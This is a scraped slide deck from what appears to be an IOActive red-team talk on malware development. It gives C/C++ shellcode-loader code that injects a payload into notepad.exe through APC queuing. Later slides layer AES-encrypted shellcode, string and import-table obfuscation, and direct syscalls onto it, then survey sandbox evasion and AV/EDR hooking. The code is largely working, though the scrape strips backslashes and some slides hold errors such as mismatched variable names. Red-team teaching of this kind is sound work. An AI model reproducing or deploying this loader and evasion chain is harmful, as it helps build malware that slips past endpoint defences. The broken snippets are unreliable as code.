![31
Skeleton Code
©2022 IOActive, Inc. All rights reserved.
#include <Windows.h>
int main()
{
// msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c
unsigned char shellcode[] = "xfcx48x81xe4xf0[...SNIP...]x65x42x6fx78x00";
SIZE_T shellcodeSize = sizeof(shellcode);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcess(L"C:WindowsSystem32notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
LPVOID bufferAddr = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, bufferAddr, shellcode, shellcodeSize, NULL);
QueueUserAPC((PAPCFUNC)bufferAddr, pi.hThread, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}](https://image.slidesharecdn.com/developinghigh-impactmalwarewithminimaleffort-221212091053-7c87ff5b/85/Developing-High-Impact-Malware-with-Minimal-Effort-pptx-31-320.jpg)
![39
Tiny-AES-c in Action
Generating Encrypted Shellcode (AES-CBC-256)
©2022 IOActive, Inc. All rights reserved.
#include <Windows.h>
#include <stdio.h>
#include "libs/aes.hpp"
int main()
{
// msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c
unsigned char payload[] = "xfcx48x81xe4xf0[...SNIP...]x65x42x6fx78x00x90";
SIZE_T payloadSize = sizeof(payload);
unsigned char key[] = "Malware.Development.Is.SoAwesome";
unsigned char iv[] = " xccx21xafx90x4dx8axbbx39xacx77x48x64x7dx9cx71xa4";
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_encrypt_buffer(&ctx, shellcode, shellcodeSize);
printf("Encrypted buffer:n");
for (int i = 0; i < shellcodeSize - 1; i++) {
printf("x%02x", shellcode[i]);
}
printf("n");
}
NOP (x90) was
appended to make the
shellcode a multiple of
16 bytes.
Ensure the correct
block size!](https://image.slidesharecdn.com/developinghigh-impactmalwarewithminimaleffort-221212091053-7c87ff5b/85/Developing-High-Impact-Malware-with-Minimal-Effort-pptx-39-320.jpg)
![41
Tiny-AES-c in Action
Decrypting Shellcode (AES-CBC-256)
©2022 IOActive, Inc. All rights reserved.
#include <Windows.h>
#include "libs/aes.hpp"
int main()
{
// msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c
unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce";
SIZE_T shellcodeSize = sizeof(shellcode);
unsigned char key[] = "Malware.Development.Is.SoAwesome";
unsigned char iv[] = "xccx21xafx90x4dx8axbbx39xacx77x48x64x7dx9cx71xa4";
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcess(L"C:WindowsSystem32notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
LPVOID bufferAddr = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, bufferAddr, shellcode, shellcodeSize, NULL);
QueueUserAPC((PAPCFUNC)bufferAddr, pi.hThread, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
AES_CBC_decrypt_buffer()
is now used.](https://image.slidesharecdn.com/developinghigh-impactmalwarewithminimaleffort-221212091053-7c87ff5b/85/Developing-High-Impact-Malware-with-Minimal-Effort-pptx-41-320.jpg)
![45
Hiding the Key and IV
©2022 IOActive, Inc. All rights reserved.
#include <Windows.h>
#include "libs/aes.hpp"
int main()
{
// msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c
unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce";
SIZE_T shellcodeSize = sizeof(shellcode);
unsigned char key[] = { 'M', 'a', 'l', 'w', 'a', 'r', 'e', '.', 'D', 'e', 'v', 'e', 'l', 'o', 'p', 'm', 'e', 'n', 't', '.',
'I', 's', '.', 'S', 'o', 'A', 'w', 'e', 's', 'o', 'm', 'e’ };
unsigned char iv[] = { 0xcc, 0x21, 0xaf, 0x90, 0x4d, 0x8a, 0xbb, 0x39, 0xac, 0x77, 0x48, 0x64, 0x7d, 0x9c, 0x71, 0xa4 };
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcess(L"C:WindowsSystem32notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
LPVOID bufferAddr = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, bufferAddr, shellcode, shellcodeSize, NULL);
QueueUserAPC((PAPCFUNC)bufferAddr, pi.hThread, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
Stack them!](https://image.slidesharecdn.com/developinghigh-impactmalwarewithminimaleffort-221212091053-7c87ff5b/85/Developing-High-Impact-Malware-with-Minimal-Effort-pptx-45-320.jpg)
![50
skCrypter in Action
©2022 IOActive, Inc. All rights reserved.
#include <Windows.h>
#include "libs/aes.hpp”
#include "libs/skCrypter.h"
int main()
{
// msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c
unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce";
SIZE_T shellcodeSize = sizeof(shellcode);
unsigned char key[] = { 'M', 'a', 'l', 'w', 'a', 'r', 'e', '.', 'D', 'e', 'v', 'e', 'l', 'o', 'p', 'm', 'e', 'n', 't', '.', 'I', 's', '.', 'S', 'o', 'A',
'w', 'e', 's', 'o', 'm', 'e’ };
unsigned char iv[] = { 0xcc, 0x21, 0xaf, 0x90, 0x4d, 0x8a, 0xbb, 0x39, 0xac, 0x77, 0x48, 0x64, 0x7d, 0x9c, 0x71, 0xa4 };
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcess(skCrypt(L"C:WindowsSystem32notepad.exe"), NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
LPVOID bufferAddr = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, bufferAddr, shellcode, shellcodeSize, NULL);
QueueUserAPC((PAPCFUNC)bufferAddr, pi.hThread, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
String is passed into the
skCrypt() function.](https://image.slidesharecdn.com/developinghigh-impactmalwarewithminimaleffort-221212091053-7c87ff5b/85/Developing-High-Impact-Malware-with-Minimal-Effort-pptx-50-320.jpg)
![56
lazy_importer in Action
©2022 IOActive, Inc. All rights reserved.
#include <Windows.h>
#include "libs/aes.hpp”
#include "libs/skCrypter.h”
#include "libs/lazy_importer.hpp"
int main()
{
// msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c
unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce";
SIZE_T shellcodeSize = sizeof(shellcoade);
unsigned char key[] = { 'M', 'a', 'l', 'w', 'a', 'r', 'e', '.', 'D', 'e', 'v', 'e', 'l', 'o', 'p', 'm', 'e', 'n', 't', '.', 'I', 's', '.', 'S', 'o', 'A', 'w',
'e', 's', 'o', 'm', 'e’ };
unsigned char iv[] = { 0xcc, 0x21, 0xaf, 0x90, 0x4d, 0x8a, 0xbb, 0x39, 0xac, 0x77, 0x48, 0x64, 0x7d, 0x9c, 0x71, 0xa4 };
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
LI_FN(CreateProcessW)(skCrypt(L"C:WindowsSystem32notepad.exe"), nullptr, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi);
LPVOID bufferAddr = LI_FN(VirtualAllocEx)(pi.hProcess, nullptr, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LI_FN(WriteProcessMemory)(pi.hProcess, bufferAddr, shellcode, shellcodeSize, nullptr);
LI_FN(QueueUserAPC)((PAPCFUNC)bufferAddr, pi.hThread, NULL);
LI_FN(ResumeThread)(pi.hThread);
LI_FN(CloseHandle)(pi.hProcess);
LI_FN(CloseHandle)(pi.hThread);
}
WinAPIs are now passed
into the LI_FN()function.](https://image.slidesharecdn.com/developinghigh-impactmalwarewithminimaleffort-221212091053-7c87ff5b/85/Developing-High-Impact-Malware-with-Minimal-Effort-pptx-56-320.jpg)
![68
inline_syscall in Action
©2022 IOActive, Inc. All rights reserved.
#include <Windows.h>
#include "structs/syscalls.h"
#include "libs/aes.hpp”
#include "libs/skCrypter.h”
#include "libs/lazy_importer.hpp”
#include "libs/in_memory_init.hpp"
int main()
{
jm::init_syscalls_list();
// msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c
unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce";
SIZE_T shellcodeSize = sizeof(shellcode);
unsigned char key[] = { 'M', 'a', 'l', 'w', 'a', 'r', 'e', '.', 'D', 'e', 'v', 'e', 'l', 'o', 'p', 'm', 'e', 'n', 't', '.', 'I', 's', '.', 'S', 'o', 'A', 'w', 'e', 's', 'o', 'm',
'e’ };
unsigned char iv[] = { 0xcc, 0x21, 0xaf, 0x90, 0x4d, 0x8a, 0xbb, 0x39, 0xac, 0x77, 0x48, 0x64, 0x7d, 0x9c, 0x71, 0xa4 };
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
LI_FN(CreateProcessW)(skCrypt(L"C:WindowsSystem32notepad.exe"), nullptr, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi);
LPVOID bufferAddr = NULL;
INLINE_SYSCALL(NtAllocateVirtualMemory)(pi.hProcess, &bufferAddr, 0, &shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
INLINE_SYSCALL(NtWriteVirtualMemory)(pi.hProcess, bufferAddr, &shellcode, shellcodeSize, NULL);
INLINE_SYSCALL(NtQueueApcThread)(pi.hThread, (PKNORMAL_ROUTINE)bufferAddr, bufferAddr, NULL, NULL);
INLINE_SYSCALL(NtResumeThread)(pi.hThread, NULL);
INLINE_SYSCALL(NtClose)(pi.hProcess);
INLINE_SYSCALL(NtClose)(pi.hThread);
}
required
Make sure to use LLVM
(clang-cl) as the
Platform Toolset](https://image.slidesharecdn.com/developinghigh-impactmalwarewithminimaleffort-221212091053-7c87ff5b/85/Developing-High-Impact-Malware-with-Minimal-Effort-pptx-68-320.jpg)
More Related Content
Similar to Developing High-Impact Malware with Minimal Effort.pptx
Developing High-Impact Malware with Minimal Effort.pptx
- 1. Developing High-Impact Malware withMinimal Effort Elvin Gentiles Security Consultant November 14, 2022
- 2.
- 3. 3 ▸ ~7 yearsin IT Security consultancy ▸ Offensive security guy ▸ Into Malware Dev & Windows Internals ▸ CRTE, CRTO, CRTP, OSCE, OSCP, OSWP captmeelo.com @CaptMeelo capt-meelo /in/elvingentiles # whoami ©2022 IOActive, Inc. All rights reserved.
- 4. 4 ▸ Why maldev ▸Primer on Windows APIs ▸ Common types of detection ▸ Considerations ▸ Getting the work done ▸ Tool demo ▸ What’s next Agenda ©2022 IOActive, Inc. All rights reserved.
- 5.
- 6. 6 ▸ It iscool and a great skill to learn ▸ Red teams must keep up as blue teams continue to evolve “To know your Enemy, you must become your Enemy” Sun Tzu Why Malware Development? ©2022 IOActive, Inc. All rights reserved.
- 7. 7 ▸ Malware Developmentis intimidating ▸ Which language to use? ▸ What techniques to employ? ▸ What APIs to utilize? ▸ How to evade AVs/EDRs? ▸ Will my code work? ▸ How do I even start? Why This Talk? ©2022 IOActive, Inc. All rights reserved.
- 8.
- 9. 9 ▸ WinAPI actsas a bridge that allows application to interact with the operating system ▸ Officially documented on MSDN ▸ Easy to understand and work with ▸ Exported by different DLLs such as user32.dll, kernel32.dll, etc. Windows API ©2022 IOActive, Inc. All rights reserved.
- 10. 10 ▸ The functionsthat perform the actual operation ▸ Every function in WinAPI will eventually call the corresponding function in the Native API ▸ Undocumented ▸ Challenging to work with (but very useful) ▸ Unofficial documentations ▸ http://undocumented.ntinternals.net/ ▸ https://doxygen.reactos.org/index.html ▸ Exported by ntdll.dll or win32u.dll ▸ Distinguishable by the Nt or Zw prefix ▸ Commonly referred as “syscalls” Native API ©2022 IOActive, Inc. All rights reserved.
- 11. 11 From WinAPI toNative API ©2022 IOActive, Inc. All rights reserved.
- 12. 12 Windows API NativeAPI Purpose OpenProcess NtOpenProcess Opens a handle to a process VirtualAlloc(Ex) NtAllocateVirtualMemory Allocates memory VirtualProtect(Ex) NtProtectVirtualMemory Changes a memory permission WriteProcessMemory NtWriteVirtualMemory Writes data into memory CreateRemoteThread(Ex) NtCreateThread(Ex) Creates a thread CloseHandle NtClose Closes a handle Windows & Native API Example ©2022 IOActive, Inc. All rights reserved.
- 13.
- 14. 14 Static-based Detection ©2022 IOActive,Inc. All rights reserved. ▸ Compares the signature to a DB of known malwares (e.g., YARA rules) ▸ strings ▸ variable names ▸ process names ▸ hashes ▸ imports & exports ▸ etc. ▸ Drawback: it only works for known malwares
- 15. 15 Dynamic-based Detection ©2022 IOActive,Inc. All rights reserved. ▸ Monitors the execution of code in a sandbox ▸ API calls ▸ network traffic ▸ process’ memory ▸ file/folder/registry changes ▸ etc. ▸ Drawback: sandboxes are limited and can be bypassed (e.g., delaying execution, environmental keying, etc.)
- 16. 16 Heuristic-based Detection ©2022 IOActive,Inc. All rights reserved. ▸ Looks at how a process behaves then makes decisions based on evidences and pre-defined/baseline behavioral rules ▸ Open a handle to a process → allocate memory → write code into memory → create thread ▸ Drawback: can be evaded by changing the process’ flow/pattern (e.g., A-B-C-D → A-C-D-B)
- 17.
- 18. 18 ▸ Depends on: ▸Low- or high-level ▸ Dev’s knowledge and experience ▸ Docs and libraries availability ▸ Popularity and community support ▸ Cross-compilation Programming Language ©2022 IOActive, Inc. All rights reserved.
- 19. 19 ▸ Different filetypes for different scenarios File Types ©2022 IOActive, Inc. All rights reserved. Executables (.exe) Dynamic Link Libraries (.dll) HTML (.hta, .htm, …) MS Docs (.doc, .xlsm, .ppam, …) Shortcuts (.lnk) Disk Image (.iso, .img, …) Installer (.msi, ...) Icons from Freepik
- 20. 20 ▸ How yourmalware should behave ▸ Shellcode loader ▸ Process injection ▸ DLL injection ▸ DLL sideloading ▸ Persistence Execution Method ©2022 IOActive, Inc. All rights reserved.
- 21. 21 ▸ Executing codein the address space of another process ▸ Could evade detection since execution is masked under a different process ▸ May allow an attacker to access the target process’ memory, privileges, etc. ▸ If the target process is not running, an attacker can spawn it Process Injection ©2022 IOActive, Inc. All rights reserved.
- 22. 22 Process Injection ©2022 IOActive,Inc. All rights reserved. GIF from elastic
- 23. 23 Process Injection Techniques ©2022IOActive, Inc. All rights reserved. ATT&CK ID Name T1055.001 Dynamic-link Library Injection T1055.002 Portable Executable Injection T1055.003 Thread Execution Hijacking T1055.004 Asynchronous Procedure Call T1055.005 Thread Local Storage T1055.008 Ptrace System Calls T1055.009 Proc Memory T1055.011 Extra Window Memory Injection T1055.012 Process Hollowing T1055.013 Process Doppelgänging T1055.014 VDSO Hijacking T1055.015 ListPlanting From MITRE
- 24. 24 ▸ Red TeamExperiment: Code & Process Injection by Mantvydas Baranauskas (@spotheplanet) PoCs ©2022 IOActive, Inc. All rights reserved.
- 25. 25 ▸ GitHub: odzhan/injectionby @modexpblog PoCs ©2022 IOActive, Inc. All rights reserved.
- 26. 26 ▸ GitHub: theevilbit/injectionby Csaba Fitzl (@theevilbit) PoCs ©2022 IOActive, Inc. All rights reserved.
- 27. 27 ▸ GitHub: SafeBreach-Labs/pinjectraby Itzik Kotler (@itzikkotler) & Amit Klein PoCs ©2022 IOActive, Inc. All rights reserved.
- 28.
- 29. 29 ▸ By scouringthe Internet and the open-source community ▸ Utilizing “header-only” libraries How Do We Do It? ©2022 IOActive, Inc. All rights reserved.
- 30.
- 31. 31 Skeleton Code ©2022 IOActive,Inc. All rights reserved. #include <Windows.h> int main() { // msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c unsigned char shellcode[] = "xfcx48x81xe4xf0[...SNIP...]x65x42x6fx78x00"; SIZE_T shellcodeSize = sizeof(shellcode); STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreateProcess(L"C:WindowsSystem32notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); LPVOID bufferAddr = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, bufferAddr, shellcode, shellcodeSize, NULL); QueueUserAPC((PAPCFUNC)bufferAddr, pi.hThread, NULL); ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
- 32. 32 Skeleton Code inAction ©2022 IOActive, Inc. All rights reserved.
- 33. 33 Skeleton Code inAction ©2022 IOActive, Inc. All rights reserved.
- 34.
- 35. 35 ▸ Adds additionallayer of protection by getting rid of “known indicators” ▸ Applies to shellcode, strings, function calls, etc. ▸ Can be done using different implementations/algorithms (AES, XOR, RC4, UUID, CLSID, SVG, CSS, CSV, IPv4/v6, MAC, etc.) ▸ A must! ▸ Beware as too much obfuscation yields higher entropy, which could be an indicator Encryption/Obfuscation ©2022 IOActive, Inc. All rights reserved.
- 36.
- 37. 37 ▸ Shellcodes suchas those generated by msfvenom are heavily signatured ▸ Custom shellcode and/or encryption algorithm is preferred as it makes detection harder Shellcode Encryption ©2022 IOActive, Inc. All rights reserved.
- 38. 38 ▸ weidai11/cryptopp ▸ kokke/tiny-AES-c ▸SergeyBel/AES ▸ kkAyataka/plusaes ▸ kerukuro/digestpp ▸ Soreing/des-cpp-encrypt ▸ amrayn/mine (Some of the) Available Libraries ©2022 IOActive, Inc. All rights reserved.
- 39. 39 Tiny-AES-c in Action GeneratingEncrypted Shellcode (AES-CBC-256) ©2022 IOActive, Inc. All rights reserved. #include <Windows.h> #include <stdio.h> #include "libs/aes.hpp" int main() { // msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c unsigned char payload[] = "xfcx48x81xe4xf0[...SNIP...]x65x42x6fx78x00x90"; SIZE_T payloadSize = sizeof(payload); unsigned char key[] = "Malware.Development.Is.SoAwesome"; unsigned char iv[] = " xccx21xafx90x4dx8axbbx39xacx77x48x64x7dx9cx71xa4"; struct AES_ctx ctx; AES_init_ctx_iv(&ctx, key, iv); AES_CBC_encrypt_buffer(&ctx, shellcode, shellcodeSize); printf("Encrypted buffer:n"); for (int i = 0; i < shellcodeSize - 1; i++) { printf("x%02x", shellcode[i]); } printf("n"); } NOP (x90) was appended to make the shellcode a multiple of 16 bytes. Ensure the correct block size!
- 40. 40 Tiny-AES-c in Action GeneratedShellcode (AES-CBC-256) ©2022 IOActive, Inc. All rights reserved.
- 41. 41 Tiny-AES-c in Action DecryptingShellcode (AES-CBC-256) ©2022 IOActive, Inc. All rights reserved. #include <Windows.h> #include "libs/aes.hpp" int main() { // msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce"; SIZE_T shellcodeSize = sizeof(shellcode); unsigned char key[] = "Malware.Development.Is.SoAwesome"; unsigned char iv[] = "xccx21xafx90x4dx8axbbx39xacx77x48x64x7dx9cx71xa4"; struct AES_ctx ctx; AES_init_ctx_iv(&ctx, key, iv); AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize); STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreateProcess(L"C:WindowsSystem32notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); LPVOID bufferAddr = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, bufferAddr, shellcode, shellcodeSize, NULL); QueueUserAPC((PAPCFUNC)bufferAddr, pi.hThread, NULL); ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } AES_CBC_decrypt_buffer() is now used.
- 42. 42 Tiny-AES-c in Action Runningthe Updated Code ©2022 IOActive, Inc. All rights reserved.
- 43. 43 Tiny-AES-c in Action Beforeand After ©2022 IOActive, Inc. All rights reserved. Unencrypted Encrypted
- 44. 44 ▸ The keyand IV are not obfuscated, which means the shellcode can be easily decrypted. Key/IV Obfuscation ©2022 IOActive, Inc. All rights reserved.
- 45. 45 Hiding the Keyand IV ©2022 IOActive, Inc. All rights reserved. #include <Windows.h> #include "libs/aes.hpp" int main() { // msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce"; SIZE_T shellcodeSize = sizeof(shellcode); unsigned char key[] = { 'M', 'a', 'l', 'w', 'a', 'r', 'e', '.', 'D', 'e', 'v', 'e', 'l', 'o', 'p', 'm', 'e', 'n', 't', '.', 'I', 's', '.', 'S', 'o', 'A', 'w', 'e', 's', 'o', 'm', 'e’ }; unsigned char iv[] = { 0xcc, 0x21, 0xaf, 0x90, 0x4d, 0x8a, 0xbb, 0x39, 0xac, 0x77, 0x48, 0x64, 0x7d, 0x9c, 0x71, 0xa4 }; struct AES_ctx ctx; AES_init_ctx_iv(&ctx, key, iv); AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize); STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreateProcess(L"C:WindowsSystem32notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); LPVOID bufferAddr = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, bufferAddr, shellcode, shellcodeSize, NULL); QueueUserAPC((PAPCFUNC)bufferAddr, pi.hThread, NULL); ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } Stack them!
- 46. 46 Key/IV Obfuscation Before andAfter ©2022 IOActive, Inc. All rights reserved. Unobfuscated Obfuscated
- 47.
- 48. 48 ▸ Strings are storedin cleartext within the binary. String Obfuscation ©2022 IOActive, Inc. All rights reserved.
- 49. 49 ▸ skadro-official/skCrypter ▸ JustasMasiulis/xorstr ▸qis/xorstr ▸ TyrarFox/encstr ▸ adamyaxley/Obfuscate ▸ andrivet/ADVobfuscator (Some of the) Available Libraries ©2022 IOActive, Inc. All rights reserved.
- 50. 50 skCrypter in Action ©2022IOActive, Inc. All rights reserved. #include <Windows.h> #include "libs/aes.hpp” #include "libs/skCrypter.h" int main() { // msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce"; SIZE_T shellcodeSize = sizeof(shellcode); unsigned char key[] = { 'M', 'a', 'l', 'w', 'a', 'r', 'e', '.', 'D', 'e', 'v', 'e', 'l', 'o', 'p', 'm', 'e', 'n', 't', '.', 'I', 's', '.', 'S', 'o', 'A', 'w', 'e', 's', 'o', 'm', 'e’ }; unsigned char iv[] = { 0xcc, 0x21, 0xaf, 0x90, 0x4d, 0x8a, 0xbb, 0x39, 0xac, 0x77, 0x48, 0x64, 0x7d, 0x9c, 0x71, 0xa4 }; struct AES_ctx ctx; AES_init_ctx_iv(&ctx, key, iv); AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize); STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreateProcess(skCrypt(L"C:WindowsSystem32notepad.exe"), NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); LPVOID bufferAddr = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, bufferAddr, shellcode, shellcodeSize, NULL); QueueUserAPC((PAPCFUNC)bufferAddr, pi.hThread, NULL); ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } String is passed into the skCrypt() function.
- 51. 51 String Obfuscation Before andAfter ©2022 IOActive, Inc. All rights reserved. String is visible String is not visible
- 52.
- 53. 53 ▸ IAT storesthe addresses of functions imported from DLLs ▸ A combination of specific/malicious WinAPI calls (e.g., VirtualAllocEx(), WriteProcessMemory(), etc.) is a red flag ▸ Direct syscalls can be used but some native APIs, such as NtCreateUserProcess(), is hard to use Import Address Table (IAT) Obfuscation ©2022 IOActive, Inc. All rights reserved.
- 54. 54 Import Address Table(IAT) Obfuscation ©2022 IOActive, Inc. All rights reserved.
- 55. 55 ▸ JustasMasiulis/lazy_importer ▸ AmJayden/Lazy-Importer ▸SaulBerrenson/WinApiObfuscator (Some of the) Available Libraries ©2022 IOActive, Inc. All rights reserved.
- 56. 56 lazy_importer in Action ©2022IOActive, Inc. All rights reserved. #include <Windows.h> #include "libs/aes.hpp” #include "libs/skCrypter.h” #include "libs/lazy_importer.hpp" int main() { // msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce"; SIZE_T shellcodeSize = sizeof(shellcoade); unsigned char key[] = { 'M', 'a', 'l', 'w', 'a', 'r', 'e', '.', 'D', 'e', 'v', 'e', 'l', 'o', 'p', 'm', 'e', 'n', 't', '.', 'I', 's', '.', 'S', 'o', 'A', 'w', 'e', 's', 'o', 'm', 'e’ }; unsigned char iv[] = { 0xcc, 0x21, 0xaf, 0x90, 0x4d, 0x8a, 0xbb, 0x39, 0xac, 0x77, 0x48, 0x64, 0x7d, 0x9c, 0x71, 0xa4 }; struct AES_ctx ctx; AES_init_ctx_iv(&ctx, key, iv); AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize); STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; LI_FN(CreateProcessW)(skCrypt(L"C:WindowsSystem32notepad.exe"), nullptr, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi); LPVOID bufferAddr = LI_FN(VirtualAllocEx)(pi.hProcess, nullptr, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); LI_FN(WriteProcessMemory)(pi.hProcess, bufferAddr, shellcode, shellcodeSize, nullptr); LI_FN(QueueUserAPC)((PAPCFUNC)bufferAddr, pi.hThread, NULL); LI_FN(ResumeThread)(pi.hThread); LI_FN(CloseHandle)(pi.hProcess); LI_FN(CloseHandle)(pi.hThread); } WinAPIs are now passed into the LI_FN()function.
- 57. 57 Import Address Table(IAT) Obfuscation Before and After ©2022 IOActive, Inc. All rights reserved. WinAPIs used are visible WinAPIs used are not visible
- 58.
- 59. 59 ▸ Virtual EnvironmentDetection ▸ Hardware resources (CPU, RAM, vendor ID, screen resolution, etc.) ▸ Human-like behavior (mouse movement, recently opened docs, etc.) ▸ Running processes (vmtoolsd.exe, procmon.exe, windbg.exe, etc.) ▸ Environment Keying ▸ Implant will only run in a specific target (e.g., checking the domain name) ▸ Using the environment (e.g., domain name) as decryption key ▸ Timing Attacks ▸ Execution delay (e.g., using Sleep(), NtDelayExecution(), etc.) ▸ And more… Defeating Sandboxes ©2022 IOActive, Inc. All rights reserved.
- 60. 60 ▸ https://github.com/LordNoteworthy/al-khaser ▸ https://github.com/a0rtega/pafish ▸https://evasions.checkpoint.com/techniques/timing.html (Some of the) Available Resources ©2022 IOActive, Inc. All rights reserved.
- 61. Evading Userland APIHooks
- 62. 62 ▸ AV/EDR injectsits DLL in newly created processes ▸ The DLL “hooks” specific/malicious API calls (exported and/or unexported) ▸ Hooking is done by replacing the first instructions of the hooked function with a JMP instruction to a routine inside the AV/EDR DLL ▸ AV/EDR then analyzes the parameters passed, sequence of API calls used, etc. ▸ If it identified as malicious, the process will be terminated ▸ Otherwise, execution will jump back to the hooked function How API Hooking Works ©2022 IOActive, Inc. All rights reserved.
- 63. 63 How WinAPI Works ©2022IOActive, Inc. All rights reserved.
- 64. 64 How API HookingWorks ©2022 IOActive, Inc. All rights reserved.
